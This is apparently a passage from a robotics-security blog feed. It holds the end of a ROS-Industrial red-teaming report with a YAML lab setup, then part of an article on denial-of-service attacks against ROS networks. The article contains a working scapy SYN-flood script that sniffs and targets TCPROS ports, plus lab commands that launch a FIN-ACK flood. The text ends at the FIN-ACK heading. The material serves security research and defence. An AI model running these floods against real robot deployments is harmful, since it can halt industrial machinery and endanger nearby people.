<p>Dedicated robotic security protection systems like the <a href="https://aliasrobotics.com/ris.php">Robot Immune System (RIS)</a> used in $\hat{C_2}$, $\hat{C_5}$ or $\hat{C_6}$ managed to secure the corresponding robot avoiding directed attacks however $R_2$ and $R_5$ robots were still<em>hijacked</em> by compromising the ROS computational graph via their control stations. RIS was not able to stop these attacks because they came from trusted sources whose behavior was learned over a prior training phase. An exception was $R_6$ which we were not able to compromise thanks to the <a href="https://aliasrobotics.com/ris.php">Robot Immune System (RIS)</a> being installed at $\hat{C_6}$ whereas $R_3$ (not protected) was easily compromised and used as a rogue endpoint for attackers to pivot into other malicious endeavors. From this, we conclude that industrial scenarios like the one presented in this use case using ROS must not only follow ICS guidelines but also harden robot endpoints and the ROS computational graph.</p>
<p>Due to constraints on resources and time, the following items remain open and might be tackled in future work:</p>
<ul>
<li>
<p>We showed how Ubuntu Bionic 18.04 was not a valid starting point for secure ROS (Melodic Morenia) industrial deployments. In the future we will look into other Linux file systems and Operating Systems as a starting point. Particularly and given Windows' popularity in industry and its recent activity and support of ROS for development, we recommend its security evaluation in future research efforts.</p>
</li>
<li>
<p>The security mechanisms in the Robot Immune System (RIS) do not currently allow it to detect threats on its interconnecting components (other devices) and seems a difficult endeavour since it would require RIS (at the endpoint) to constantly monitor and exchange communications with other segments of the industrial network (which will further compromise some of the segmentation and segregation assumptions). Instead, we believe future work should focus on a) reviewing the interoperability services offered by RIS in the robotic endpoint while ensures Zero Trust principles are applied and b) guarantee ROS computational graphs can be hardened regardless of their packages.</p>
</li>
<li>
<p>We only applied a subset of ISA/IEC 62443 and was included into the use case scenario via the hardening step. Future work should extend our setup and complement it with additional security measures following this norm. Though we strongly believe this is of valuable research interest, our interactions with industrial operators indicate that the level of compliance with ICS standards is still on its early phases. Correspondingly, we  reckon that the use case assumed while synthetic, captures an already high degree of security measures when compared to real scenarios.</p>
</li>
<li>
<p>While we failed to find exploitable security flaws within the triaged ROS-Industrial drivers, further work needs to be put into mitigating existing ones archived in RVD. Moreover, we encourage for a periodic review of the drivers using both static and dynamic testing.</p>
</li>
<li>
<p>We consider it would be extremely interesting to analyze the dynamics of having heterogeneous robots, from different vendor in a security case study. Future work might consider to extend the scenario we assumed with robots from mixed vendors, mixing ROS packages and incurring into a much more complex software engineering security scenario.</p>
</li>
</ul>
<h3 id="conclusions">Conclusions</h3>
<p>We presented four targeted attacks over a synthetic industrial scenario constructed by following international ICS cybersecurity standards where the control logic is operated by ROS and ROS-Industrial packages. Our attacks exploited both new and known vulnerabilities of ROS achieving the two goals we set. We managed to execute code remotely (<em>$A_1$</em>) in a ROS end-point, disrupt the ROS computational graph (<em>$A_2$</em>), impersonate a ROS control station through PitM (<em>$A_3$</em>) and finally use an unprotected robot endpoint to pivot into the ROS network (<em>$A_4$</em>).</p>
<p>The original research question posed whether ROS could be used securely on industrial use cases. Based on our experimental results, we found: With the current status of ROS, it is hardly possible to guarantee security without additional measures.</p>
<blockquote>
<p>With the current status of ROS, considering open resources and their status, it is hardly possible to guarantee security without additional measures.</p>
</blockquote>
<h3 id="acknowledgements">Acknowledgements</h3>
<p>This research has been partially funded by the European Union‘s Horizon 2020 research and innovation programme under grant agreement No 732287 under ROSin project through the FTP RedROS-I <sup class="footnote-ref"><a href="#fn10" id="fnref10">[10]</a></sup>.  Thanks also to the Basque Government, throughout the Business Development Agency of the Basque Country (SPRI). Special thanks to BIC Araba and the Basque Cybersecurity Centre (BCSC) for the support provided. This research was also financially supported by the Spanish Government through CDTI Neotec actions (SNEO-20181238).</p>
<p>The following names presented in no particular order helped, advised or supported bringing up this work: Bernhard Dieber, Stefan Rass, Martin Pinzger, Alejandro Hernández Cordero, Alfonso Glera, Odei Olalde, Lander Usategui San Juan, Gorka Olalde, Xabier Perez-Baskaran, Iñigo Ibiriku, Oxel Urzelai and Nuria García.</p>
<h3 id="reproductionandresultsavailability">Reproduction and results availability</h3>
<p>Our setup can be reproduced using the following:</p>
<details><summary>alurity.yaml file to reproduce our setup</summary>
<pre><code class="language-YAML">############
# Networks
############
networks:

  # Level 1: Control Networks, connect controllers and control stations
  #  for each controller, we expect a dedicated control-network  w
  - network:
    - name: control-network_c1_s1
    - driver: overlay
    - internal: true
    - encryption: false
    - subnet: 12.0.0.0/24
  - network:
    - name: control-network_c2_s2
    - driver: overlay
    - internal: true
    - encryption: false
    - subnet: 12.0.2.0/24
  - network:
    - name: control-network_c4_s4
    - driver: overlay
    - internal: true
    - encryption: false
    - subnet: 12.0.4.0/24
  - network:
    - name: control-network_c5_s5
    - driver: overlay
    - internal: true
    - encryption: false
    - subnet: 12.0.5.0/24

  # Level 2: Process Network
  - network:
    - name: process-network
    - driver: overlay
    - internal: true
    - encryption: false
    - subnet: 13.0.0.0/24

  # Level 3: DMZ 2 sub-network
  # NOTE: used to interface Process Network with machines in DMZ 2
  #  (e.g. a historian, additional servers and related)
  - network:
    - name: dmz2
    - driver: overlay
    - internal: true
    - encryption: false
    - subnet: 14.0.0.0/24

  # Level 4: IT Network
  - network:
    - name: it-network
    - driver: overlay
    - encryption: false
    - internal: true
    - subnet: 15.0.0.0/24

  # Level 3: DMZ 1 sub-network
  # NOTE: used used to interface IT Network with central control station
  - network:
    - name: dmz1
    - driver: overlay
    - encryption: false
    - internal: true
    - subnet: 16.0.0.0/24

  # Beyond lvl4: Cloud
  - network:
    - name: cloud-network
    - driver: overlay
    - encryption: false
    - internal: false
    - subnet: 17.0.0.0/24

#################################
# Firewalls and network elements
#################################
firewalls:
     - container:
       - name: firewall-it-dmz1
       - ingress: it-network
       - egress: dmz1
       - rules:
         - iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
         - iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
         - iptables -A FORWARD -i eth1 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
         - iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT
         - iptables -t nat -A POSTROUTING -o eth2 -j MASQUERADE
         - iptables -A FORWARD -i eth2 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
         - iptables -A FORWARD -i eth0 -o eth2 -j ACCEPT
         - route add 13.0.0.20 gw 16.0.0.254 eth2
     - container:
       - name: firewall-process-dmz2
       - ingress: process-network
       - egress: dmz2
       - rules:
         - iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
         - iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
         - iptables -A FORWARD -i eth1 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
         - iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT

############
# Containers
############
containers:

  #
  # Controllers
  #
  # C1
  - container:
    - name: &quot;c1&quot;
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/robo_ur_cb3_1:3.13.0
         # - base: registry.gitlab.com/aliasrobotics/offensive/alurity/robo_ur_cb3_1:3.12.1
         # - base: registry.gitlab.com/aliasrobotics/offensive/projects/rosin-redros-i:3.12.1-controller
         - network:
           - control-network_c1_s1
           # - field-network_r1_c1
    - ip: 12.0.0.20  # assign manually an ip address
    - cpus: 4
    - memory: 2048
    - mount: Controller:/root/.urcaps/

  # C^2
  - container:
    - name: &quot;c2&quot;
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/robo_ur_cb3_1:3.13.0
         # - base: registry.gitlab.com/aliasrobotics/offensive/projects/rosin-redros-i:3.12.1-controller
         - network:
           - control-network_c2_s2
           # - field-network_r2_c2
    - cpus: 4
    - memory: 2048
    - mount: /tmp/ris_install:/tmp/ris_install
    - extra-options: SYS_PTRACE
  # C3
  - container:
    - name: &quot;c3&quot;
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/robo_ur_cb3_1:3.13.0
         - network:
           - process-network
           # - field-network_r3_c3
    - ip: 13.0.0.30  # manually assign an ip address
    - cpus: 4
    - memory: 2048
    - extra-options: SYS_PTRACE
  # C4
  - container:
    - name: &quot;c4&quot;
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/robo_ur_cb3_1:3.13.0
         - network:
           - control-network_c4_s4
           # - field-network_r4_c4
    - cpus: 4
    - memory: 2048
  # C^5
  - container:
    - name: &quot;c5&quot;
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/robo_ur_cb3_1:3.13.0
         - network:
           - control-network_c5_s5
           # - field-network_r5_c5
    - cpus: 4
    - memory: 2048
    - mount: /tmp/ris_install:/tmp/ris_install
    - extra-options: SYS_PTRACE
  # C^6
  - container:
    - name: &quot;c6&quot;
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/robo_ur_cb3_1:3.13.0
         - network:
           - process-network
           # - field-network_r6_c6
    - cpus: 4
    - memory: 2048
    - mount: /tmp/ris_install:/tmp/ris_install    
    - extra-options: SYS_PTRACE

  #
  # Control stations
  #
  # S1
  - container:
    - name: &quot;s1&quot;
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros_ur:melodic-official-scenario
         - network:
           - control-network_c1_s1
           - process-network

    - ip:
      - 12.0.0.50  # ip for control-network_c1_s1
      - 13.0.0.5  # ip in process-network
    - cpus: 4
    - memory: 4096
    - extra-options: NET_ADMIN
  # S^2
  - container:
    - name: &quot;s2&quot;
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario-hardened
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros_ur:melodic-official-scenario
         - network:
           - control-network_c2_s2
           - process-network
    - ip:
        - 12.0.2.50  # ip for control-network_c2_s2
        # - 13.0.0.6  # ip for process-network
    - cpus: 4
    - memory: 4096
    - extra-options: NET_ADMIN
  # S^4
  - container:
    - name: &quot;s4&quot;
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario-hardened
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros_ur:melodic-official-scenario
         - network:
           - control-network_c4_s4
           - process-network
    - ip: 12.0.4.50  # ip for control-network_c4_s4
    - cpus: 4
    - memory: 4096
    - extra-options: NET_ADMIN
  # S5
  - container:
    - name: &quot;s5&quot;
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros_ur:melodic-official-scenario
         - network:
           - control-network_c5_s5
           - process-network
    - ip: 12.0.5.50  # ip for control-network_c5_s5
    - cpus: 4
    - memory: 4096
    
  # S7
  - container:
    - name: &quot;s7&quot;
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros_ur:melodic-official-scenario
         - network:
           - dmz1
           - process-network
    - ip:
      - 16.0.0.20  # ip in dmz1
      - 13.0.0.20  # ip in process-network
    - cpus: 4
    - memory: 4096
    - extra-options: NET_ADMIN

  #
  # Development stations
  #
  # D1
  - container:
    - name: &quot;d1&quot;
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros_ur:melodic-official-scenario
         - network:
           - it-network
           - dmz1
           - cloud-network
           # - process-network  # bypass firewall restrictions by connecting directly
    - ip:
      - 15.0.0.30  # ip in IT
      - 16.0.0.30  # ip in dmz1
      - 17.0.0.30  # ip in cloud
      # - 13.0.0.9
    - cpus: 4
    - memory: 4096
    - extra-options: NET_ADMIN

  #
  # Attackers
  #
  - container:
    - name: attacker_cloud
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/alurity:latest
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/expl_robosploit/expl_robosploit:latest
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/reco_nmap:latest
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/reco_binwalk:latest
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/expl_icssploit:latest
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/expl_rospento:latest
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/expl_rosploit:latest
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/expl_metasploit:latest
         - network:
           # - it-network
           - cloud-network
    - extra-options: ALL

  - container:
    - name: attacker_dmz1
    - modules:
         # - base: registry.gitlab.com/aliasrobotics/offensive/alurity/alurity:latest
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/reco_nmap:latest
         - network:
           - dmz1
           - process-network
    - extra-options: ALL

  #
  # extra elements
  #

  # connector of
  #  - it-network
  #  - dmz2
  #  - dmz1
  - container:
    - name: firewall-it-dmz1
    - modules:
      - base: registry.gitlab.com/aliasrobotics/offensive/projects/rosin-redros-i:firewall-three-net
      - network:
        - it-network
        - dmz2
        - dmz1
    - extra-options: NET_ADMIN
    - ip:
      - 15.0.0.254
      - 14.0.0.254
      - 16.0.0.254
  # DMZ machine
  - container:
    - name: dmz-server
    - modules:
      - base: registry.gitlab.com/aliasrobotics/offensive/projects/rosin-redros-i:dmz
      - network: dmz2
    - extra-options: NET_ADMIN
    - ip: 14.0.0.20
  # Connector of process-network and dmz2
  - container:
    - name: firewall-process-dmz2
    - modules:
      - base: registry.gitlab.com/aliasrobotics/offensive/projects/rosin-redros-i:firewall-two
      - network:
        - dmz2
        - process-network
    - extra-options: NET_ADMIN
    - ip:
      - 14.0.0.253
      - 13.0.0.254    
    
</code></pre>
</details>
<p>In an attempt to bring awareness, transparency and fight against the current trend of security-by-obscurity, as a partially funded EU-work, most of our tools have been open sourced at <a href="https://github.com/aliasrobotics">https://github.com/aliasrobotics</a>. Results have also been cataloged at the <a href="https://github.com/aliasrobotics/RVD">Robot Vulnerability Database</a>. We encourage roboticists and security researchers to dive into the material generated and help triage remaining flaws.</p>
<p>For more, refer to the <a href="https://aliasrobotics.com/files/red_teaming_rosindustrial.pdf"><code>Red teaming ROS-Industrial extended report (white paper)</code></a> (<em>56 pages</em>).</p>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="fn1" class="footnote-item"><p><a href="https://rosindustrial.org/">https://rosindustrial.org/</a> <a href="#fnref1" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn2" class="footnote-item"><p>F.  J.  R.  Lera,  V.  Matell ́an,  J.  Balsa,  and  F.  Casado,  “Ciberseguridad  enrobots  aut ́onomos:  An ́alisis  y  evaluaci ́on  multiplataforma  del  bastionadoros,”Actas Jornadas Sarteco, pp. 571–578, 2016 <a href="#fnref2" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn3" class="footnote-item"><p>B.  Dieber,  S.  Kacianka,  S.  Rass,  and  P.  Schartner,  “Application-levelsecurity   for   ros-based   applications,”   in2016 IEEE/RSJ InternationalConference on Intelligent Robots and Systems (IROS), Oct 2016, pp. 4477–4482 <a href="#fnref3" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn4" class="footnote-item"><p>R.  White,  D.  Christensen,  I.  Henrik,  D.  Quigley,et al.,  “Sros:  Securingros  over  the  wire,  in  the  graph,  and  through  the  kernel,”arXiv preprintarXiv:1611.07060, 2016. <a href="#fnref4" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn5" class="footnote-item"><p>Note that if appropriate security mechanisms are implemented, control of the ROS network might not necessarily imply control of the robots. <a href="#fnref5" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn6" class="footnote-item"><p>Alias Robotics. <em>Red teaming ROS-Industrial extended report (white paper)</em>. Retrieved from <a href="https://aliasrobotics.com/files/red_teaming_rosindustrial.pdf">https://aliasrobotics.com/files/red_teaming_rosindustrial.pdf</a> (<em>56 pages</em>) <a href="#fnref6" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn7" class="footnote-item"><p>F. Maggi and M. Pogliani, “Rogue automation: Vulnerabile and maliciouscode in industrial programming,”Trend Micro, Politecnico di Milano, Tech.Rep, 2020 <a href="#fnref7" class="footnote-backref">↩︎</a> <a href="#fnref7:1" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn8" class="footnote-item"><p>Canonical, “Securing ros robotics platforms,” Canonical, Tech. Rep., 2020. Retrieved from <a href="https://pages.ubuntu.com/rs/066-EOV-335/images/Securing%20ROS_WhitePapaer_10.03.20.pdf">https://pages.ubuntu.com/rs/066-EOV-335/images/Securing ROS_WhitePapaer_10.03.20.pdf</a> <a href="#fnref8" class="footnote-backref">↩︎</a> <a href="#fnref8:1" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn9" class="footnote-item"><p>R.   Daruszka,   J.   L.   Christopherson,et al.,   “CIS   ROS   Melodic Morenia benchmark v1.0.0,”. Retrieved from <a href="https://workbench.cisecurity.org/benchmarks/5207">https://workbench.cisecurity.org/benchmarks/5207</a>. Accessed: 2020-08-17. <a href="#fnref9" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn10" class="footnote-item"><p>RedROS-I FTP <a href="https://www.rosin-project.eu/ftp/redros-i">https://www.rosin-project.eu/ftp/redros-i</a> <a href="#fnref10" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
<!--kg-card-end: markdown--><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://aliasrobotics.com/case-study-red-teaming.php"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Red Teaming - ROS-Industrial</div><div class="kg-bookmark-description">A red teaming report using the ROS-Industrial platform</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://aliasrobotics.com/favicon.png"><span class="kg-bookmark-publisher">ROS-Industrial</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://aliasrobotics.com/img/LOGO-alias-white-nav.svg"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://aliasrobotics.com/robot-red-teaming.php"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Robot red teaming services</div><div class="kg-bookmark-description">Robot red teaming provides an accurate measure of a given robotic technology’s preparedness for remaining resilient against cyber-attacks.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://aliasrobotics.com/favicon.png"></div></div><div class="kg-bookmark-thumbnail"><img src="https://aliasrobotics.com/img/LOGO-alias-white-nav.svg"></div></a></figure>]]></content:encoded></item><item><title><![CDATA[Disrupting ROS and ROS-Industrial communications by attacking underlying network protocols]]></title><description><![CDATA[This article aims to illustrate the consequences that some simple attacks targeting these underlying network protocols could have in ROS and ROS-Industrial deployments.]]></description><link>https://cybersecurityrobotics.net/disrupting-ros-communications-by-attacking-underlying-network-protocols/</link><guid isPermaLink="false">5f435ed80ae4c81c48521b76</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[vulnerabilities]]></category><category><![CDATA[ROS]]></category><category><![CDATA[ROS-Industrial]]></category><category><![CDATA[ICS]]></category><dc:creator><![CDATA[Víctor Mayoral Vilches]]></dc:creator><pubDate>Mon, 24 Aug 2020 18:13:53 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>ROS is rapidly spreading and its use growing beyond academy. ROS-Industrial<br>
project (ROS-I for short) is the best example. It is an open-source initiative that extends the advanced capabilities of ROS software to industrial relevant hardware and applications. Spearheaded by the ROS-Industrial consortium, its deployment in industry is nowadays a reality. The consortium has more than 80 members and its gatherings in Europe, USA and Asia bring together hundreds of robotics experts every year. With the growing use in industry, security must become a first concern but unfortunately we're seeing a <em>slower-than-desired</em> security awareness and more importantly, the wrong message is being sent by some players indicating that ROS can be used securely with their recommendations<sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup>. This is incorrect.</p>
<blockquote>
<p>the wrong message is being sent by some players indicating that ROS can be used securely with their recommendations<sup class="footnote-ref"><a href="#fn1" id="fnref1:1">[1:1]</a></sup>.</p>
</blockquote>
<p>ROS-Industrial software builds on top of ROS packages which also build on top of traditional networking protocols of OSI layers 3 and 4. It's not uncommon to find ROS deployments using IP/TCP in the Network and Transport levels of the communication stack. It must be noted that contrary to what some believe, a ROS system is not just vulnerable to attack vectors that target the ROS computational graph or the ROS-Industrial packages <sup class="footnote-ref"><a href="#fn2" id="fnref2">[2]</a></sup>. All its underlying abstractions need to be equally considered. As pointed out,  ROS setups could suffer from threats coming from OSI layers 3 and 4, as it's common in the IT world (refer to <a href="https://cybersecurityrobotics.net/it-ot-iot-and-robotics-security-comparison/">this article</a> for reading more about IT). Moreover, besides establishing perimeters with the cloud, one should consider threats that come from the inside, including the controllers or the control stations, both common elements on industrial scenarios and which could be used as entry points for targeting robots.</p>
<p>For the purpose of further testing the limits of these underlying layers and its impact in ROS, this article aims to illustrate the consequences that some simple attacks targeting these underlying network protocols could have. The first one performs a <mark><code>SYN-ACK</code> DoS flooding attack</mark>. The second uses a <mark><code>FIN-ACK</code> attack</mark> which aims to disrupt network activity by saturating bandwidth and resources on stateful interactions (i.e. TCPROS sockets).</p>
<p>The attacks proposed below leverage the lack of authentication in the ROS computational graph previously reported in other vulnerabilities of ROS including <a href="https://github.com/aliasrobotics/RVD/issues/87">RVD#87</a> or <a href="https://github.com/aliasrobotics/RVD/issues/88">RVD#88</a>. Protecting ROS and ROS-Industrial robotic applications requires an end-to-end security approach and remains and open problem.</p>
<h3 id="preparingtheattacks">Preparing the attacks</h3>
<p>In order to prepare these attacks and experiment with lower-level abstractions in the networking stack, I contributed to <a href="https://aliasrobotics.com/alurity.php">alurity</a>'s robosploit module with a ROSTCP package dissector (and crafter) which is then used as a tool for developing these proof-of-concept attacks against ROS and ROS-Industrial deployments. In addition, it was required to configure the attacker's kernel to ignore certain types of network requests, so that it doesn't conflict with the attacking activity. The scenario uses targets running ROS Melodic Morenia in Ubuntu 18.04 and can be reproduced using the following alurity YAML file:</p>
<details><summary>Simulation of target environment (requires alurity)</summary>
<pre><code class="language-yaml">
############
# Networks
############
networks:

  - network:
    - name: rosnet
    - driver: overlay
    # - internal: false
    - encryption: false
    - subnet: 12.0.0.0/24

############
# Containers
############
containers:
  - container:
    - name: rosmachine
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/fore_wireshark:latest
         - network:
           - rosnet
    - ip:
      - 12.0.0.2  # fixed ip for prototyping
    # - sysctls:
    #   - net.core.somaxconn=128
    #   - net.ipv4.tcp_syncookies=0
    #   - net.ipv4.tcp_max_syn_backlog=128
    #   - net.ipv4.tcp_abort_on_overflow=1
    #   - net.ipv4.tcp_synack_retries=5


  - container:
    - name: attacker
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/fore_wireshark:latest
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/expl_robosploit/expl_robosploit:latest
         - network:
           - rosnet
    - extra-options: NET_ADMIN


####################
# Flow
####################
flow:
  # rosmachine
  - container:
    - name: rosmachine
    - window:
      - name: ros
      - commands:
        - command: &quot;source /opt/ros/melodic/setup.bash&quot;
        # - command: &quot;roslaunch roscpp_tutorials talker_listener.launch&quot;
        - command: &quot;roscore&quot;
        - split: horizontal
        - command: &quot;source /opt/ros/melodic/setup.bash&quot;
        - command: &quot;sleep 10&quot;
        - command: &quot;rostopic echo /chatter&quot;
        - split: horizontal
        - command: &quot;source /opt/ros/melodic/setup.bash&quot;
        - command: &quot;sleep 10&quot;
        - command: &quot;rostopic hz /chatter&quot;


  # attacker
  - container:
    - name: attacker
    - window:
      - name: setup
      - commands:
        - command: &quot;wireshark -i eth0 . &amp;&quot;
        - split: horizontal
        - command: &quot;apt-get update &amp;&amp; apt-get install -y tcpdump iptables&quot;
    - window:
      - name: attack
      - commands:
        # - command: &quot;sleep 10&quot;  # wait until roscore is ready
        # - command: &quot;source /opt/ros/melodic/setup.bash&quot;
        # - command: &quot;export PYTHONPATH=\&quot;/opt/ros/melodic/lib/python2.7/dist-packages\&quot;&quot;
        # - command: 'export ROS_MASTER_URI=&quot;http://12.0.0.2:11311&quot;'
        # - command: &quot;rostopic echo /chatter&quot;
        # - split: horizontal
        # - command: &quot;source /opt/ros/melodic/setup.bash&quot;
        # - command: 'export ROS_MASTER_URI=&quot;http://12.0.0.2:11311&quot;'
        # # - command: &quot;export PYTHONPATH=\&quot;/opt/ros/melodic/lib/python2.7/dist-packages\&quot;&quot;
        # - command: &quot;export PYTHONPATH=\&quot;/opt/ros/melodic/lib/python2.7/dist-packages:/opt/robosploit/lib/python3.6/site-packages\&quot;&quot;
        # - command: &quot;cd /home/alias&quot;
        - command: &quot;source /opt/ros/melodic/setup.bash&quot;
        - command: &quot;export PYTHONPATH=\&quot;/opt/ros/melodic/lib/python2.7/dist-packages\&quot;&quot;
        # - command: &quot;export PYTHONPATH=\&quot;/opt/ros/melodic/lib/python2.7/dist-packages:/opt/robosploit/lib/python3.6/site-packages\&quot;&quot;
        - command: 'export ROS_MASTER_URI=&quot;http://12.0.0.2:11311&quot;'
        - command: &quot;cd /home/alias&quot;
        - command: &quot;sleep 10&quot;  # wait until roscore is ready
        # - command: 'rostopic pub /chatter std_msgs/String &quot;Attacker publishing&quot; -r 1'
        - command: &quot;/opt/ros/melodic/lib/roscpp_tutorials/talker&quot;
        - split: horizontal
        - command: &quot;sleep 10&quot;  # wait until tools have been installed and roscore
        - command: &quot;source /opt/ros/melodic/setup.bash&quot;
        - command: 'export ROS_MASTER_URI=&quot;http://12.0.0.2:11311&quot;'
        - command: &quot;export PYTHONPATH=\&quot;/opt/ros/melodic/lib/python2.7/dist-packages:/opt/robosploit/lib/python3.6/site-packages\&quot;&quot;
        - command: &quot;cd /home/alias&quot;
        - command: &quot;iptables -I OUTPUT -s 12.0.0.4 -p tcp --tcp-flags RST RST -j DROP&quot;
        - command: &quot;iptables -I OUTPUT -s 12.0.0.4 -p tcp --tcp-flags FIN FIN -j DROP&quot;
        # - command: &quot;iptables -I INPUT -s 12.0.0.2 -p tcp --tcp-flags RST RST -j DROP&quot;
        # - command: &quot;python3 syn_flood_dos.py&quot;
        - command: 'python3 fin_ack_dos.py'
    - select: attack

</code></pre>
</details>
<h3 id="synackdosfloodingattackforros">SYN-ACK DoS flooding attack for ROS</h3>
<p>A SYN flood is a type of OSI Level 4 (Transport Layer) network attack. The basic idea is to keep a server busy with idle connections, resulting in a a Denial-of-Service (DoS) via a maxed-out number of connections. Roughly, the attack works as follows:</p>
<ul>
<li>the client sends a TCP <code>SYN</code> (<code>S</code> flag) packet to begin a connection with a given end-point (e.g. a server).</li>
<li>the server responds with a <code>SYN-ACK</code> packet, particularly with a TCP <code>SYN-ACK</code> (<code>SA</code> flag) packet.</li>
<li>the client responds back with an <code>ACK</code> (flag) packet. In normal operation, the client should send an <code>ACK</code> packet followed by the data to be transferred, or a <code>RST</code> reply to reset the connection. On the target server, the connection is kept open, in a <code>SYN_RECV</code> state, as the <code>ACK</code> packet may have been lost due to network problems.</li>
<li>In the attack, to abuse this handshake process, an attacker can send a <em>SYN Flood</em>, a flood of <code>SYN</code> packets, and do nothing when the server responds with a <code>SYN-ACK</code> packet. The server politely waits for the other end to respond with an <code>ACK</code> packet, and because bandwidth is fixed, the hardware only has a fixed number of connections it can make. Eventually, the SYN packets max out the available connections to a server with hanging connections. New sockets will experience a denial of service.</li>
</ul>
<p>A proof-of-concept attack was developed on the simulated target scenario (above) to isolate communications. The attack exploit is displayed below:</p>
<pre><code class="language-python">&quot;&quot;&quot;
SYN-ACK DoS attack for ROS

DISCLAIMER: Use against your own hosts only! By no means myself or my employer Alias Robotics encourage or promote the unauthorized tampering with running robotic systems. This can cause serious human harm and material
damages.
&quot;&quot;&quot;

import sys
from scapy.all import *
from robosploit.modules.generic.robotics.all import *
from operator import itemgetter 

# bind layers so that packages are recognized as TCPROS
bind_layers(TCP, TCPROS)

print(&quot;Capturing network traffic...&quot;)
packages = sniff(iface=&quot;eth0&quot;, filter=&quot;tcp&quot;, count=20)
targets = {}
for p in packages[TCPROSBody]:
    # Filter by ip
    # if p[IP].src == &quot;12.0.0.2&quot;:
    port = p.sport
    ip = p[IP].src
    if ip in targets.keys():
        targets[ip].append(port)
    else:
        targets[ip] = [port]

# Get unique values:
for t in targets.keys():
    targets[t] = list(set(targets[t]))

# Select one of the targets
dst_target = list(map(itemgetter(0), targets.items()))[0]
dport_target = targets[dst_target]

# Small fix to meet scapy syntax on &quot;dport&quot; key
#  if single value, can't go as a list
if len(dport_target) &lt; 2:
    dport_target = dport_target[0]

p=IP(dst=dst_target,id=1111,ttl=99)/TCP(sport=RandShort(),dport=dport_target,seq=1232345,ack=10000,window=10000,flags=&quot;S&quot;)/&quot;Alias Robotics SYN Flood DoS&quot;
ls(p)
ans,unans=srloop(p,inter=0.05,retry=2,timeout=4)
</code></pre>
<p>In many systems, attacker would find no issues executing this attack and would be able to bring down ROSTCP interactions if the target machine's  networking stack isn't properly configured. To defend against this attack, a user would need to set up their kernel's network stack appropriately. In particular, they'd need to ensure that <code>TCP SYN cookies</code> are enabled. <code>SYN cookies</code> work by not using the <code>SYN</code> queue at all. Instead, the kernel simply replies to the <code>SYN</code> with a <code>SYN-ACK</code>, but will include a specially crafted TCP sequence number that encodes the source and destination IP address, port number and the time the packet was sent. A legitimate connection would send the <code>ACK</code> packet of the three way handshake with the specially crafted sequence number. This allows the system to verify that it has received a valid response to a <code>SY cookie</code> and allow the connection, even though there is no corresponding <code>SYN</code> in the queue.</p>
<h3 id="finackfloodattacktargetingros">FIN-ACK flood attack targeting ROS</h3>
